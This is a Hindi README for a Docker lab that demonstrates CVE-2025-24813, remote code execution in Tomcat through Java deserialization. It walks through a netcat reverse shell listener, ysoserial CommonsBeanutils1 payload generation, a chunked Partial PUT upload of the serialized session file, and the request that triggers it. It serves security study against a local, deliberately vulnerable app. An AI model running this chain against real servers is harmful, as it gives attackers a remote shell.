
सेशन एक्सप्लॉइट
🧪 CVE-2025-24813 Tomcat RCE प्रयोगशाला (Docker + ysoserial)
यह प्रयोगशाला एक Tomcat-होस्टेड ऐप में असुरक्षित Java डिसीरियलाइज़ेशन के माध्यम से रिमोट कोड निष्पादन का प्रदर्शन करती है, जो क्रमबद्ध सत्र फ़ाइलों को प्रोसेस करता है। पूरा वातावरण Docker में चलता है, जिसमें Partial PUT अनुरोध के माध्यम से एक क्राफ्टेड रिवर्स शेल पेलोड वितरित किया जाता है।
📁 निर्देशिका लेआउट
.
├── 0-run-tomcat.sh # Build + run vulnerable Tomcat container
├── 1-generate-revshell.sh # Start Netcat reverse shell listener
├── 2-generate-payload.sh # Generate ysoserial reverse shell payload
├── 3-upload-file.sh # Upload serialized payload via Partial PUT
├── 4-exploit.sh # Trigger deserialization endpoint
├── readme.md # This file
├── source.sh # Sets CALLBACK_IP, LISTENER_PORT, etc
├── dummy-app/
│ ├── src/
│ │ └── main/java/com/example/DeserializeServlet.java
│ ├── pom.xml
│ └── Dockerfile
⚙️ पूर्वापेक्षाएँ
Java और Netcat स्थापित करें:
brew install openjdk netcat
सुनिश्चित करें कि आप JDK 11+ का उपयोग कर रहे हैं और --add-opens के माध्यम से असुरक्षित मॉड्यूल एक्सेस की अनुमति दें।
🧨 एक्सप्लॉइट प्रवाह
CommonsBeanutils1) उत्पन्न करें🧪 उपयोग
bash 0-run-tomcat.sh
इस प्रकार एक source.sh फ़ाइल बनाएँ:
export CALLBACK_IP="your.lan.ip"
export LISTENER_PORT=4444
export PAYLOAD_FILE="rev_shell.ser"
export TARGET_URL="http://localhost:8080/xxx-api/gopan.session"
export CHUNK_SIZE=100
फिर इसे स्रोत करें:
source source.sh
एक अलग टर्मिनल में:
bash 1-generate-revshell.sh
यह चलाएगा:
nc -lnvp 4444
bash 2-generate-payload.sh
यह:
ysoserial.jar डाउनलोड करेगाCommonsBeanutils1 पेलोड उत्पन्न करेगाrev_shell.ser के रूप में सहेजेगाbash 3-upload-file.sh
यह स्क्रिप्ट Content-Range हेडर का उपयोग करके HTTP Partial PUT अपलोड को चंक्स में करती है।
bash 4-exploit.sh
यह हिट करता है:
http://localhost:8080/xxx-api/profile
जो अपलोड की गई फ़ाइल को डिसीरियलाइज़ करता है और पेलोड निष्पादित करता है।
✅ आपको Netcat टर्मिनल में एक रिवर्स शेल मिलेगा!
🔍 डीबगिंग
कंटेनर के अंदर:
docker exec -it vulnerable-tomcat bash
cd /usr/local/tomcat/webapps/xxx-api/
ls -l
यदि सुरक्षित पेलोड के साथ परीक्षण कर रहे हैं तो जाँचें कि फ़ाइल /tmp/beanutils-worked मौजूद है या नहीं।
💡 नोट्स
--add-opens की आवश्यकता होती है/bin/bash उपलब्ध नहीं है तो रिवर्स शेल मौन रूप से विफल हो सकता है (/bin/sh आज़माएँ)touch /tmp/rce-worked के साथ कोड निष्पादन का सुरक्षित रूप से परीक्षण कर सकते हैं🧱 आधारित